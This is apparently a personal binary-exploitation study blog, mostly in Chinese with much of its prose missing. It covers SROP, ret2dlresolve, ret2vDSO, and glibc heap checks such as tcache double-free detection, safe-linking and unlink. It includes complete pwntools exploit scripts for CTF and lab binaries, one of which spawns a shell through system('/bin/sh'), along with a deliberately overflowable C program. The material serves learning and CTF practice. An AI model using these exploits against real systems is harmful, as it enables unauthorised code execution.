┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Beyond Basics: The Dark Arts of Binary Exploitation
~ CuB3y0nd
# 

>  23  Pwn  Pwn 

~__~
>
>  GitBook  wiki 
……
>
>  blog _Keep updating as the mood strikes._ 
……

>
> 
>
> <p style="text-align: right;">—— 02/01/2025</p>
> <p style="text-align: right;"> 09/10/2025</p>

# Flush or Be Flushed: C I/O 

`stdout` 

- ** (line-buffered)**  `n`  flush tty
- ** (fully-buffered)**  flush
- ** (unbuffered)**  flush



-  **stdout** ** (tty)**
-  **stdout**  **pipe / socket / file** 

# Path or Be Pathed: The angr Edition

 [angr ](/posts/pwn-no
tes/angr/)

# 线

[rand](https://en.cppreference.com/w/c/numeric/random/rand) 
 $[ 0,RAND_MAX]$ seed 

```python
import ctypes

libc = ctypes.CDLL("./libc.so.6")

# libc.srand(1)
predicted = libc.rand()
```

:::tip
使 `srand`  seed  `srand(1)`
:::

# ROP 

## ret2csu

 [ROP Emporium - Challenge 8](/posts/write-ups/rop-emporium-series/#challeng
e-8) 
<s>_/_</s>

## SROP

### Principle

Okay, the first thing, what is `SROP`?

`SROP (Signal Return Oriented Programming)`





 `sigreturn`  `syscall`
 `sigcontext` 
便** Signal 
Handler**使


 ROP  gadgets 
SROP 




-  `sigcontext` 
 ROP Chain  
`sigreturn`  zero out.
-  `sigreturn`
-  `sigreturn`  Signal Handler 
 `sigcontext` 
-  ROP Chain 


`kernel` 
 `sigcontext` `sigcontext` 
便
 Signal Handler `sigreturn` 
 `sigcontext` 


 `sigreturn`  `ker
nel`  `sigcontext`  `sigcontext` 


 `sigcontext` 
SO FUCKING POWERFUL!

…… RSP 
 trick, 
 gadgets 

 `sigcontext`  ( `x86_64`)

```plaintext wrap=false showLineNumbers=false
+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+
```

 SROP 

iframe: https://www.youtube.com/embed/ADULSwnQs-s?si=j1WVxYk2FPR21uZQ

### Example

 Backdoor CTF 2017  [Fun Signals](https:
//github.com/guyinatuxedo/nightmare/blob/master/modules/16-srop/backdoor_funsign
als/funsignals_player_bin) 

```asm wrap=false showLineNumbers=false ins={35}
.shellcode:0000000010000000                     .686p
.shellcode:0000000010000000                     .mmx
.shellcode:0000000010000000                     .model flat
.shellcode:0000000010000000     .intel_syntax noprefix
.shellcode:0000000010000000
.shellcode:0000000010000000     ; ==============================================
=============================
.shellcode:0000000010000000
.shellcode:0000000010000000     ; Segment type: Pure code
.shellcode:0000000010000000     ; Segment permissions: Read/Write/Execute
.shellcode:0000000010000000     _shellcode      segment byte public 'CODE' use64
.shellcode:0000000010000000                     assume cs:_shellcode
.shellcode:0000000010000000                     ;org 10000000h
.shellcode:0000000010000000                     assume es:nothing, ss:nothing, d
s:nothing, fs:nothing, gs:nothing
.shellcode:0000000010000000
.shellcode:0000000010000000                     public _start
.shellcode:0000000010000000     _start:                                 ; Altern
ative name is '_start'
.shellcode:0000000010000000                     xor     eax, eax        ; __star
t
.shellcode:0000000010000002                     xor     edi, edi        ; Logica
l Exclusive OR
.shellcode:0000000010000004                     xor     edx, edx        ; Logica
l Exclusive OR
.shellcode:0000000010000006                     mov     dh, 4
.shellcode:0000000010000008                     mov     rsi, rsp
.shellcode:000000001000000B                     syscall                 ; LINUX 
- sys_read
.shellcode:000000001000000D                     xor     edi, edi        ; Logica
l Exclusive OR
.shellcode:000000001000000F                     push    0Fh
.shellcode:0000000010000011                     pop     rax
.shellcode:0000000010000012                     syscall                 ; LINUX 
- sys_rt_sigreturn
.shellcode:0000000010000014                     int     3               ; Trap t
o Debugger
.shellcode:0000000010000015
.shellcode:0000000010000015     syscall:                                ; LINUX 
- sys_rt_sigreturn
.shellcode:0000000010000015                     syscall
.shellcode:0000000010000017                     xor     rdi, rdi        ; Logica
l Exclusive OR
.shellcode:000000001000001A                     mov     rax, 3Ch ; '<'
.shellcode:0000000010000021                     syscall                 ; LINUX 
- sys_exit
.shellcode:0000000010000021     ; ----------------------------------------------
-----------------------------
.shellcode:0000000010000023     flag            db 'fake_flag_here_as_original_i
s_at_server',0
.shellcode:0000000010000023     _shellcode      ends
.shellcode:0000000010000023
```

 SROP


 flag  `0x10000023` 
 ASLR 

 `syscall`  `read` `stdin` 
 `0x400` bytes  `syscall`  `rt_sigretu
rn` `sigcontext` 
 `SYS_write`  flag  `stdout`

### Exploit

```python
#!/usr/bin/python3

from contextlib import contextmanager

from pwn import (
    ELF,
    ROP,
    SigreturnFrame,
    constants,
    context,
    gdb,
    log,
    process,
    remote,
)

context(log_level="debug", terminal="kitty")

FILE = "./funsignals_player_bin"
HOST, PORT = "localhost", 1337

gdbscript = """
b *_start+11
c
"""


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload():
    flag_address = 0x10000023

    rop = ROP(elf)

    syscall = rop.syscall.address

    frame = SigreturnFrame()

    frame.rdi = 0x1
    frame.rsi = flag_address
    frame.rdx = 0x1337
    frame.rax = constants.SYS_write
    frame.rip = syscall

    return bytes(frame)


def attack(target):
    try:
        payload = construct_payload()

        target.send(payload)

        response = target.recvall(timeout=3)

        if b"flag" in response:
            log.success(response[:0x27].decode("ascii"))

            return True
    except Exception as e:
        log.exception(f"An error occurred while performing attack: {e}")


def main():
    try:
        with launch(debug=False) as target:
            if attack(target):
                log.success("Attack completed successfully.")
            else:
                log.failure("Attack did not yield a flag.")
    except Exception as e:
        log.exception(f"An error occurred in main: {e}")


if __name__ == "__main__":
    main()
```

### Summary

 ROP Chain  gadgets
使 SROP 使 SROP 
 `syscall`  gadget `rax`  `sig
return`  `rsp`  frame 

> [!TIP]
>  `rax`  `rax
`  gadgets 
 `read` 

### References

- [Boosting your ROP skills with SROP and ret2dlresolve - Giulia Martino - HackT
ricks Track 2023](https://youtu.be/ADULSwnQs-s?si=TC5OyUwFHDFEHRO3)
- [sigreturn(2) — Linux manual page](https://man7.org/linux/man-pages/man2/sigre
turn.2.html)
- [Playing with signals: an overview on Sigreturn Oriented Programming](https://
www.stormshield.com/news/playing-with-signals-an-overview-on-sigreturn-oriented-
programming/)

## ret2dlresolve

### Principle

 `dynamically linked` 
 `ld-linux-x86-64.so.2` `_dl_runtime_resolve` 
 `GOT (Global Offset Table)` 


 (Relocation)

>  `RELRO` 


`_dl_runtime_resolve` 便
 `_dl_runtime_resolve` 


### Example

 `pwntools`  how to ret2dlresolve. 
使…… `_dl_runtime_resolve` 
 flag 


 [pwnlib.rop.ret2dlresolve — Return to dl_resolve](https://docs.pw
ntools.com/en/stable/rop/ret2dlresolve.html)

```bash wrap=false showLineNumbers=false
gcc ret2dlresolve.c -o ret2dlresolve 
    -fno-stack-protector 
    -no-pie
```

`pwntools` 

```c
#include <unistd.h>

void vuln(void) {
  char buf[64];

  read(STDIN_FILENO, buf, 200);
}

int main(int argc, char **argv) { vuln(); }
```

 TM  gadgets
…… gadgets 

```c
#include <unistd.h>

void free_gadgets() {
  __asm__("pop %rdi; ret");
  __asm__("pop %rsi; ret");
  __asm__("pop %rdx; ret");
}

void vuln(void) {
  char buf[64];

  read(STDIN_FILENO, buf, 200);
}

int main(int argc, char **argv) { vuln(); }
```

 `stdin`  200  `buf` `buf`  64 
 136 


 `ret2dlresolve`  getshell. 
 `system`  `rw`  `system` 
 `rdi`  `/bin/sh` 
便 `_dl_runtime_resolve`  
`_dl_runtime_resolve`  `system` 
 spawn a shell.

### Exploit

```python
#!/usr/bin/python3

from contextlib import contextmanager

from pwn import (
    ELF,
    ROP,
    Ret2dlresolvePayload,
    context,
    flat,
    gdb,
    log,
    process,
    remote,
)

context(log_level="debug", terminal="kitty")

FILE = "./ret2dlresolve"
HOST, PORT = "localhost", 1337

gdbscript = """
b *vuln+25
c
"""


@contextmanager
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
    target = None

    try:
        if local:
            global elf

            elf = ELF(FILE)
            context.binary = elf

            target = (
                gdb.debug(
                    [elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, e
nv=envp
                )
                if debug
                else process([elf.path] + (argv or []), env=envp)
            )
        else:
            target = remote(HOST, PORT)
        yield target
    finally:
        if target:
            target.close()


def construct_payload(padding_to_ret, first_read_size):
    dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["/bin/sh"])
    fake_structure = dlresolve.payload

    rop = ROP(elf)

    rop.read(0, dlresolve.data_addr, len(fake_structure))
    rop.raw(rop.ret.address)
    rop.ret2dlresolve(dlresolve)

    log.success(rop.dump())

    raw_rop = rop.chain()

    return flat({padding_to_ret: raw_rop, first_read_size: fake_structure})


def attack(target):
    try:
        payload = construct_payload(0x48, 0xC8)

        target.sendline(payload)
        target.interactive()
    except Exception as e:
        log.exception(f"An error occurred while performing attack: {e}")


def main():
    try:
        with launch(debug=False) as target:
            attack(target)
    except Exception as e:
        log.exception(f"An error occurred in main: {e}")


if __name__ == "__main__":
    main()
```

### Summary

 `syscall` gadgets  `ret2syscall`  `SROP` 
`libc`  `ret2dlresolve`

### References

- [Boosting your ROP skills with SROP and ret2dlresolve - Giulia Martino - HackT
ricks Track 2023](https://youtu.be/ADULSwnQs-s?si=TC5OyUwFHDFEHRO3)
- [ret2dl_resolve x64: Exploiting Dynamic Linking Procedure In x64 ELF Binaries]
(https://syst3mfailure.io/ret2dl_resolve/)
- [Finding link_map and _dl_runtime_resolve() under full RELRO](https://ypl.coff
ee/dl-resolve-full-relro/)

## ret2vDSO

### Principle

`vDSO (Virtual Dynamic Shared Object)`  Linux 




 vDSO   gadgets
 gadgets vDSO dump 

### Example

…………
…… vDSO 
 gadgets  ROP 

 gdb dump  vDSO

```asm wrap=false showLineNumbers=false
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
    0x555555554000     0x555555555000 r--p     1000      0 /home/cub3y0nd/Projec
ts/ret2vDSO/ret2vDSO
    0x555555555000     0x555555556000 r-xp     1000   1000 /home/cub3y0nd/Projec
ts/ret2vDSO/ret2vDSO
    0x555555556000     0x555555557000 r--p     1000   2000 /home/cub3y0nd/Projec
ts/ret2vDSO/ret2vDSO
    0x7ffff7fbf000     0x7ffff7fc1000 rw-p     2000      0 [anon_7ffff7fbf]
    0x7ffff7fc1000     0x7ffff7fc5000 r--p     4000      0 [vvar]
    0x7ffff7fc5000     0x7ffff7fc7000 r-xp     2000      0 [vdso]
    0x7ffff7fc7000     0x7ffff7fc8000 r--p     1000      0 /usr/lib/ld-linux-x86
-64.so.2
    0x7ffff7fc8000     0x7ffff7ff1000 r-xp    29000   1000 /usr/lib/ld-linux-x86
-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000  2a000 /usr/lib/ld-linux-x86
-64.so.2
    0x7ffff7ffb000     0x7ffff7fff000 rw-p     4000  34000 /usr/lib/ld-linux-x86
-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]
pwndbg> dump memory vdso.so 0x7ffff7fc5000 0x7ffff7fc7000
```

 `ROPgadget`  dump  500  gadgets
 trick 

……西 `ELF Auxiliary Vectors (AUXV)`ELF 
 ELF 


Linux  (argc) (argv) (envp) 
 AUXV  `getauxval` 访


 `v6.14-rc1`  `elf.h` 


```c
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _UAPI_LINUX_AUXVEC_H
#define _UAPI_LINUX_AUXVEC_H

#include <asm/auxvec.h>

/* Symbolic values for the entries in the auxiliary table
   put on the initial stack */
#define AT_NULL   0 /* end of vector */
#define AT_IGNORE 1 /* entry should be ignored */
#define AT_EXECFD 2 /* file descriptor of program */
#define AT_PHDR   3 /* program headers for program */
#define AT_PHENT  4 /* size of program header entry */
#define AT_PHNUM  5 /* number of program headers */
#define AT_PAGESZ 6 /* system page size */
#define AT_BASE   7 /* base address of interpreter */
#define AT_FLAGS  8 /* flags */
#define AT_ENTRY  9 /* entry point of program */
#define AT_NOTELF 10 /* program is not ELF */
#define AT_UID    11 /* real uid */
#define AT_EUID   12 /* effective uid */
#define AT_GID    13 /* real gid */
#define AT_EGID   14 /* effective gid */
#define AT_PLATFORM 15  /* string identifying CPU for optimizations */
#define AT_HWCAP  16    /* arch dependent hints at CPU capabilities */
#define AT_CLKTCK 17 /* frequency at which times() increments */
/* AT_* values 18 through 22 are reserved */
#define AT_SECURE 23   /* secure mode boolean */
#define AT_BASE_PLATFORM 24 /* string identifying real platform, may
     * differ from AT_PLATFORM. */
#define AT_RANDOM 25 /* address of 16 random bytes */
#define AT_HWCAP2 26 /* extension of AT_HWCAP */
#define AT_RSEQ_FEATURE_SIZE 27 /* rseq supported feature size */
#define AT_RSEQ_ALIGN  28 /* rseq allocation alignment */
#define AT_HWCAP3 29 /* extension of AT_HWCAP */
#define AT_HWCAP4 30 /* extension of AT_HWCAP */

#define AT_EXECFN  31 /* filename of program */

#ifndef AT_MINSIGSTKSZ
#define AT_MINSIGSTKSZ 51 /* minimal stack size for signal delivery */
#endif

#endif /* _UAPI_LINUX_AUXVEC_H */
```



```c
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
#ifndef _ASM_X86_AUXVEC_H
#define _ASM_X86_AUXVEC_H
/*
 * Architecture-neutral AT_ values in 0-17, leave some room
 * for more of them, start the x86-specific ones at 32.
 */
#ifdef __i386__
#define AT_SYSINFO 32
#endif
#define AT_SYSINFO_EHDR 33

/* entries in ARCH_DLINFO: */
#if defined(CONFIG_IA32_EMULATION) || !defined(CONFIG_X86_64)
# define AT_VECTOR_SIZE_ARCH 3
#else /* else it's non-compat x86-64 */
# define AT_VECTOR_SIZE_ARCH 2
#endif

#endif /* _ASM_X86_AUXVEC_H */
```

 References 

 `LD_SHOW_AUXV=1`  AUXV 

```bash wrap=false showLineNumbers=false
λ ~/ LD_SHOW_AUXV=1 w
AT_SYSINFO_EHDR:      0x7f92c06b9000
AT_MINSIGSTKSZ:       1776
AT_HWCAP:             178bfbff
AT_PAGESZ:            4096
AT_CLKTCK:            100
AT_PHDR:              0x626d19090040
AT_PHENT:             56
AT_PHNUM:             13
AT_BASE:              0x7f92c06bb000
AT_FLAGS:             0x0
AT_ENTRY:             0x626d19092940
AT_UID:               1000
AT_EUID:              1000
AT_GID:               1000
AT_EGID:              1000
AT_SECURE:            0
AT_RANDOM:            0x7ffca3edf4e9
AT_HWCAP2:            0x2
AT_EXECFN:            /usr/bin/w
AT_PLATFORM:          x86_64
AT_RSEQ_FEATURE_SIZE: 28
AT_RSEQ_ALIGN:        32
 14:19:59 up  3:54,  1 user,  load average: 0.52, 0.57, 0.59
USER     TTY       LOGIN@   IDLE   JCPU   PCPU  WHAT
cub3y0nd tty1      10:26    3:53m  6:43    ?    xinit /home/cub3y0nd/.xinitrc --
 /etc/X11/xinit/xs
```

 `LD_` 
使

 `pwndbg`  `i auxv`  `auxv`  A
UXV  telescope stack

```asm wrap=false showLineNumbers=false
pwndbg> i auxv
33   AT_SYSINFO_EHDR      System-supplied DSO's ELF header 0x7ffff7ffd000
51   AT_MINSIGSTKSZ       Minimum stack size for signal delivery 0x6f0
16   AT_HWCAP             Machine-dependent CPU capability hints 0x178bfbff
6    AT_PAGESZ            System page size               4096
17   AT_CLKTCK            Frequency of times()           100
3    AT_PHDR              Program headers for program    0x400040
4    AT_PHENT             Size of program header entry   56
5    AT_PHNUM             Number of program headers      6
7    AT_BASE              Base address of interpreter    0x0
8    AT_FLAGS             Flags                          0x0
9    AT_ENTRY             Entry point of program         0x40101d
11   AT_UID               Real user ID                   1000
12   AT_EUID              Effective user ID              1000
13   AT_GID               Real group ID                  1000
14   AT_EGID              Effective group ID             1000
23   AT_SECURE            Boolean, was exec setuid-like? 0
25   AT_RANDOM            Address of 16 random bytes     0x7fffffffe789
26   AT_HWCAP2            Extension of AT_HWCAP          0x2
31   AT_EXECFN            File name of executable        0x7fffffffefce "/home/c
ub3y0nd/Projects/ret2vDSO/ret2vDSO"
15   AT_PLATFORM          String identifying platform    0x7fffffffe799 "x86_64"
27   AT_RSEQ_FEATURE_SIZE rseq supported feature size    28
28   AT_RSEQ_ALIGN        rseq allocation alignment      32
0    AT_NULL              End of vector                  0x0
```

 `AT_SYSINFO_EHDR` `vDSO` 
 vDSO  gadgets 

 `AT_RANDOM` 西
 flag ……

 `argc` `argv` `envp`
 `AUXV` ……

### Summary

 trick gadgets 


### References

- [vDSO](https://en.wikipedia.org/wiki/VDSO)
- [getauxval(3) — Linux manual page](https://man7.org/linux/man-pages/man3/getau
xval.3.html)
- [kernel/git/torvalds/linux.git - path: root/include/uapi/linux/auxvec.h](https
://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/
linux/auxvec.h?h=v6.14-rc1)
- [kernel/git/torvalds/linux.git - path: root/arch/x86/include/uapi/asm/auxvec.h
](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/arch/x
86/include/uapi/asm/auxvec.h?h=v6.14-rc1)

## Try-Catch, Catch Me If You Can

 `(CHOP) Catch Handler Oriented Programming` 
 [CHOP Suey: ](/posts/pwn-notes/catch-handler-oriented
-programming-notes/)

#  gadgets Who needs "pop rdi" when you have gets() ?

 trick  [ gadgets 
ret2gets ](/posts/pwn-notes/ret2gets/)

#  free chunks: Double Free, Double Fun ?

:::tip
 [glibc-2.31](https://elixir.bootlin.com/glibc/glibc-2.31/source) 
:::

 `free`  `__libc_free`
 `__free_hook` `mmap`  `tcache_per
thread_struct`  `_int_free` 
 free  chunk 

## Related Structures / Macros Definitions

```c
/* We overlay this structure on the user-data portion of a chunk when
   the chunk is stored in the per-thread cache.  */
typedef struct tcache_entry {
  struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
} tcache_entry;

/* There is one of these for each thread, which contains the
   per-thread cache (hence "tcache_perthread_struct").  Keeping
   overall size low is mildly important.  Note that COUNTS and ENTRIES
   are redundant (we could have just counted the linked list each
   time), this is for performance reasons.  */
typedef struct tcache_perthread_struct {
  uint16_t counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;
```

## Related Functions

 free  chunk  tcachebin 

```c
/* Caller must ensure that we know tc_idx is valid and there's room
   for more chunks.  */
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
```

-  chunk  tcache glibc  data  `tcache_entry`
- 线 `tcache_perthread_struct`  `key`  `bk
` 
-  `next`  tcachebin  free chunk `fd` 
-  tcachebin  header  chunk
-  bin  counts

 double free 

```c
#if USE_TCACHE
{
  size_t tc_idx = csize2tidx(size);
  if (tcache != NULL && tc_idx < mp_.tcache_bins) {
    /* Check to see if it's already in the tcache.  */
    tcache_entry *e = (tcache_entry *)chunk2mem(p);

    /* This test succeeds on double free.  However, we don't 100%
       trust it (it also matches random payload data at a 1 in
       2^<size_t> chance), so verify it's not an unlikely
       coincidence before aborting.  */
    if (__glibc_unlikely(e->key == tcache)) {
      tcache_entry *tmp;
      LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
      for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
        if (tmp == e)
          malloc_printerr("free(): double free detected in tcache 2");
      /* If we get here, it was a coincidence.  We've wasted a
         few cycles, but don't abort.  */
    }

    if (tcache->counts[tc_idx] < mp_.tcache_count) {
      tcache_put(p, tc_idx);
      return;
    }
  }
}
#endif
```

 free  chunk  data  `tcache_
entry` 使 `e`  `e->key == tcache` 怀 doubl
e free  free glibc  `e->key = tcache`
 double free
 `tcache` `1/2^<size_t>` 
 free  chunk  tcachebin  for 
 tcachebin  free chunk  `e` 
 double free 

 double free

1.  key  tcache 
2.  next  chunk in list 

# 

## Safe-linking

 glibc-2.32  safe-linking  mitigationtcach
e  fastbin mangling fd 使


 mitigation
……西
~OrZ~

 [glibc-2.42](https://elixir.bootlin.com/glibc/glibc-2.4
2/source/malloc/malloc.c#L331) 

```c
/* Safe-Linking:
   Use randomness from ASLR (mmap_base) to protect single-linked lists
   of Fast-Bins and TCache.  That is, mask the "next" pointers of the
   lists' chunks, and also perform allocation alignment checks on them.
   This mechanism reduces the risk of pointer hijacking, as was done with
   Safe-Unlinking in the double-linked lists of Small-Bins.
   It assumes a minimum page size of 4096 bytes (12 bits).  Systems with
   larger pages provide less entropy, although the pointer mangling
   still works.  */
#define PROTECT_PTR(pos, ptr) 
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
```

 macro mangling  `PROTECT_PTR`  de-mangl
ing  `REVEAL_PTR`

 12 bits  ASLR `PROTECT_PTR` `pos`
  chunk  fd `ptr`  fd  bin 
 bin  NULL


~_ bypass_~

:::tip
XOR 
:::

## Alignment Check

 safe-linking  malloc / free  chunk 

```c
/* Check if m has acceptable alignment */

#define misaligned_mem(m)  ((uintptr_t)(m) & MALLOC_ALIGN_MASK)

#define misaligned_chunk(p) (misaligned_mem( chunk2mem (p)))
```

tcache  `misaligned_mem` fastbin  `misaligned_chunk`
 tcache bin  user data fastbin  chunk header
  user data 
 `& MALLOC_ALIGN_MASK == 0` `& 0xf == 0` 16  4 b
its  0


# Mirror, Mirror on the Heap

 overlapping  trick
 glibc-2.42 

```c
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p) ((p)->mchunk_size)

/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))

/* Size of the chunk below P.  Only valid if !prev_inuse (P).  */
#define prev_size(p) ((p)->mchunk_prev_size)

/* Ptr to previous physical malloc_chunk.  Only valid if !prev_inuse (P).  */
#define prev_chunk(p) ((mchunkptr) (((char *) (p)) - prev_size (p)))

/* extract p's inuse bit */
#define inuse(p)                                                              
  ((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
```

 chunk heade
r  chunk  chunk  free 

 chunk size  malloc / free  ch
unk extend chunk overlapping 
 chunk shrink 

# Doubly Linked, Doubly Doomed

 unlink  `how2heap`  [glibc_2.35/unsafe_unlink](
https://github.com/shellphish/how2heap/blob/master/glibc_2.35/unsafe_unlink.c)


 chunk chunk 0  fake chunk chunk 1  me
tadata `prev_size`  fake chunk  `chunk_size` `chunk_si
ze`  `prev_inuse` bit  0 free chunk 1  c
hunk  free'd  backward consolidation chunk 1  fake chunk 
 fake chunk  unlink 

free  example 


```c {36-44, 88-93}
  /*
    Consolidate other non-mmapped chunks as they arrive.
  */

  else if (!chunk_is_mmapped(p)) {

    /* If we're single-threaded, don't lock the arena.  */
    if (SINGLE_THREAD_P)
      have_lock = true;

    if (!have_lock)
      __libc_lock_lock (av->mutex);

    nextchunk = chunk_at_offset(p, size);

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av->top))
      malloc_printerr ("double free or corruption (top)");
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
     && (char *) nextchunk
     >= ((char *) av->top + chunksize(av->top)), 0))
 malloc_printerr ("double free or corruption (out)");
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      malloc_printerr ("double free or corruption (!prev)");

    nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0)
 || __builtin_expect (nextsize >= av->system_mem, 0))
      malloc_printerr ("free(): invalid next size (normal)");

    free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);

    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
 unlink_chunk (av, nextchunk);
 size += nextsize;
      } else
 clear_inuse_bit_at_offset(nextchunk, 0);

      /*
 Place the chunk in unsorted chunk list. Chunks are
 not placed into regular bins until after they have
 been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
 malloc_printerr ("free(): corrupted unsorted chunks");
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
 {
   p->fd_nextsize = NULL;
   p->bk_nextsize = NULL;
 }
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }

    /*
      If the chunk borders the current high end of memory,
      consolidate into top
    */

    else {
      size += nextsize;
      set_head(p, size | PREV_INUSE);
      av->top = p;
      check_chunk(av, p);
    }
```

unlink 

```c
/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
   || p->bk_nextsize->fd_nextsize != p)
 malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
 {
   if (p->fd_nextsize == p)
     fd->fd_nextsize = fd->bk_nextsize = fd;
   else
     {
       fd->fd_nextsize = p->fd_nextsize;
       fd->bk_nextsize = p->bk_nextsize;
       p->fd_nextsize->bk_nextsize = fd;
       p->bk_nextsize->fd_nextsize = fd;
     }
 }
      else
 {
   p->fd_nextsize->bk_nextsize = p->bk_nextsize;
   p->bk_nextsize->fd_nextsize = p->fd_nextsize;
 }
    }
}
```

 unlink  size  chunk  `prev_size` 
 chunk  `chunk_size` 

```c
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");
```

 `P->fd->bk == P && P->bk->fd == P`

```c
  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");
```

 unlinking 

```c
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;

fd->bk = bk;
bk->fd = fd;
```

 `bk->fd = fd` chu
nk 0  fake chunk  fd  chunk 0  f
ake chunk  fd